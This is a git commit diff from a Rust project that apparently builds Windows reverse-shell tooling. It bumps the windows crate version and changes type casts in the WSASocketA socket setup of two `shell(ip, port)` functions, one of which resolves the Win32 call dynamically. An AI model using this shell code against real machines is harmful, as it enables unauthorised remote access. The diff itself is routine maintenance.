* cargo lock

* windows version update

* lock file

* windows crate bump

* missed the antistring version

* weird merge conflict
This commit is contained in:
kmanc
2023-03-29 08:28:12 -07:00
committed by GitHub
parent 5b98b9cd65
commit e508d28e4d
7 changed files with 32 additions and 32 deletions
+1 -1
View File
@@ -20,7 +20,7 @@ rco_config = {path = "../rco_config", version = ">=0.2.0"}
rco_utils = {path = "../rco_utils", version = ">=1.0.1"}
[target.'cfg(windows)'.dependencies]
windows.version = ">=0.46.0"
windows.version = ">=0.47.0"
windows.features = [
"Win32_Foundation",
"Win32_Security",
@@ -31,8 +31,8 @@ pub fn shell(ip: &str, port: u16) {
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSASocketA.html
let socket = unsafe {
WSASocketA(
AF_INET.0 as i32,
SOCK_STREAM as i32,
AF_INET.0.into(),
SOCK_STREAM.0,
IPPROTO_TCP.0,
None,
0,
@@ -28,8 +28,8 @@ pub fn shell(ip: &str, port: u16) {
let function = rco_utils::construct_win32_function!(function; [i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32]; [SOCKET]);
let socket = unsafe {
function(
AF_INET.0 as i32,
SOCK_STREAM as i32,
AF_INET.0.into(),
SOCK_STREAM.0,
IPPROTO_TCP.0,
ptr::null(),
0,